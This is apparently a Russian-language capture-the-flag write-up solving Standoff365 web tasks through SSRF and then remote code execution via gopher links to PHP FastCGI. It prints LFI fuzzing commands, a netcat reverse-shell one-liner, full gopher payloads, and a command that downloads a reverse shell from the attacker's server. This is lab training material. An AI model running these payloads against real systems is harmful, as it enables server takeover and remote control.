Введение
Приветствую всех читателей статьи! Продолжаю серию статьей по решению задач с платформы standoff365. В ней я вам представлю очередность шагов для решения данных заданий (web-3-1 and web-3-2).link standoff 365
web 3-1
Первая задачка была довольно легкая, нужно было просто следовать инструкции с задания.web-3-1 Подделка запроса со стороны сервера (SSRF) на узле utils.edu.stf
В самом задании сказано
На Сайте просто в поле url указываем http://127.0.0.1:9732Реализуйте SSRF на узле utils.edu.stf (10.124.1.237).
Для получения флага обратитесь по внутреннему адресу на порт 9732 (http://127.0.0.1:9732).
Подсказки не отображаются при отключенном VPN. Чтобы их просмотреть, настройте VPN-подключение.
и получаем флаг
web-3-2
[web-3-2] Удаленное выполнение кода (RCE) на узле utils.edu.stfHint
Подсказки для тех у кого Регистрация на платформе и на впн на разных машинках.hint1
Загрузите исполняемый файл (шелл) на сервер:
Залейте исполняемый файл (например, PHP-шелл) на сервер в доступный для записи каталог, например в /tmp/.
Убедитесь, что у вас есть доступ к этому файлу через SSRF.
Залейте исполняемый файл (например, PHP-шелл) на сервер в доступный для записи каталог, например в /tmp/.
Убедитесь, что у вас есть доступ к этому файлу через SSRF.
Выполните код на сервере через SSRF:
Используйте gopher-ссылку для выполнения кода на сервере, например для запуска загруженного шелла и получения RCE.
Комментарий от автора: к с
Используйте gopher-ссылку для выполнения кода на сервере, например для запуска загруженного шелла и получения RCE.
Комментарий от автора: к с
Scout
Исходя из задания web-3-1 мы должны сделать для себя вывод что уязвимость и сам вектора атаки будет проходить на сайте через pdf convertor и уязвимость стоит искать именно тамРазведку начнём с фаззинга
ссылкан на wordlist link=seclists
Код:
ffuf -u http://10.124.1.237/convert.php?url=file://FUZZ -w ~/wordlists/seclists/Fuzzing/LFI/LFI-linux-and-windows_by-1N3@CrowdShield.txt -e .php,.html,.txt,.zip,.gz,.tar,.dat,.log,.tar.gz,.sql,.rar,.swp,.bak,.asp,.aspx,.js,.img,.png,.jpeg -fs 1018
-w wordlist
-u url
Один из ответов от сервера меня заинтерисовал, открыв его я нашел для себя следующую информацию
Выписываем вот это/etc/nginx/sites-available/default [Status: 200, Size: 16184, Words: 393, Lines: 227, Duration: 116ms]
fastcgi_pass 127.0.0.1:9000FastCGI — это клиент-серверный протокол, который служит для взаимодействия веб-сервера и приложений, представляя собой более производительное и безопасное развитие технологии CGI (Common Gateway Interface).
Далее яндексим:
и находим :
ssrf FastCGI
или вот эту
hacktricks
на ней же можем найти и инструмент для тестирования tools
Из этиз ссылок я сделал вывод что уязвимость будет связанна с gopher через ssrf
Attack
На этапе атаки нам нужно будет получить revshell из ходя из заданияПримечание: один из способом получить revshell одной командой
nc -c bash 10.127.IP.IP Port Но если не получилось снизу описано альтернативный способ решения
Как было сказано ранее, находим следующий инструмент на hacktricks tools
в качестве revshell будет использоваться = GitHub - pentestmonkey/php-reverse-shell
(Не забудьте в файле revshell поменять на свой Ip and port)
В качестве первого параметра в эксплоите написано указывать любой файл желательно php , поэтому мы решили указать сам convert.php и путь к нему (в разведке мы поняли что это линукс , по файловой системе, поэтому будет указывать полный путь /var/www/html/тут_файл)
Для начала проверим где мы через команду ls также можно было добавить pwd (ls ;pwd ) чтобы за один запрос получить как можно больше информации
Код:
git clone https://github.com/tarunkant/Gopherus
──(kali㉿kali)-[~/Downloads/Gopherus]
└─$ gopherus --exploit fastcgi
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/convert.php
Terminal command to run: ls
Your gopher link is ready to do SSRF:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php://input%0F%19SCRIPT_FILENAME/var/www/html/convert.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Далее Логично будет скачать revershell php с нашего сервера.
Сервер подымается следующей командой
python3 -m http.server 8000Скачивать будем в директорию /tmp так как в большинстве случаев у нас всега на ее есть права, и мы можем там сохранить свой скрипты и т.п
Код:
gopherus --exploit fastcgi
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/convert.php
Terminal command to run: curl -o /tmp/shell.php http://10.127.244.IP:Port/shell.php ; ls /tmp
Your gopher link is ready to do SSRF:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH120%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php://input%0F%19SCRIPT_FILENAME/var/www/html/convert.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00x%04%00%3C%3Fphp%20system%28%27curl%20-o%20/tmp/shell.php%20http://10.127.244.IP%3APORT/shell.php%20%3B%20ls%20/tmp%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
-----------Made-by-SpyD3r-----------
Next step Запуск нашего скрипта
Также я выполнил дополнительную команду для добавления прав нашему скрипту.
chmod +x /tmp/*
Код:
┌──(kali㉿kali)-[~/Downloads/Gopherus]
└─$ gopherus --exploit fastcgi
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/convert.php
Terminal command to run: php /tmp/shell.php
Your gopher link is ready to do SSRF:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH70%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php://input%0F%19SCRIPT_FILENAME/var/www/html/convert.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00F%04%00%3C%3Fphp%20system%28%27php%20/tmp/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Attack 2 from Aloha51
2 Cпособ эксплуатации уязвимости в котором было обнаружена неправильная настройка обработчика на сервере, которая считывала данные из body в запросах GET и PUT и выполняла код на стороне сервераобратите внимание что метод в запросе заменяется на PUT
Прав в директории сервера не было (по адресу /var/www/html ) и поэтому пришлось в загружать file в папку /tmp
Получение файла /etc/passwd
Скачивание revshell-а
и после запускаем любым удобным для вас способом (Дополнительно нужно будет еще докинуть прав через комнаду
chmod +x /tmp/* )
Заключение:
Это была довольно интересная задача.
Однако впереди нас ждут еще более увлекательные вызовы Давайте продолжим наше путешествие!
Если у вас есть дополнительные пожелания или изменения, дайте знать!
Автор: Archivist
vasya.kotov.8080@mail.ru
Соавтор: Nebty
alex122303q@gmail.com
Альтернативное решение:
Aloha51
vasya.kotov.8080@mail.ru
Соавтор: Nebty
alex122303q@gmail.com
Альтернативное решение:
Aloha51
Последнее редактирование: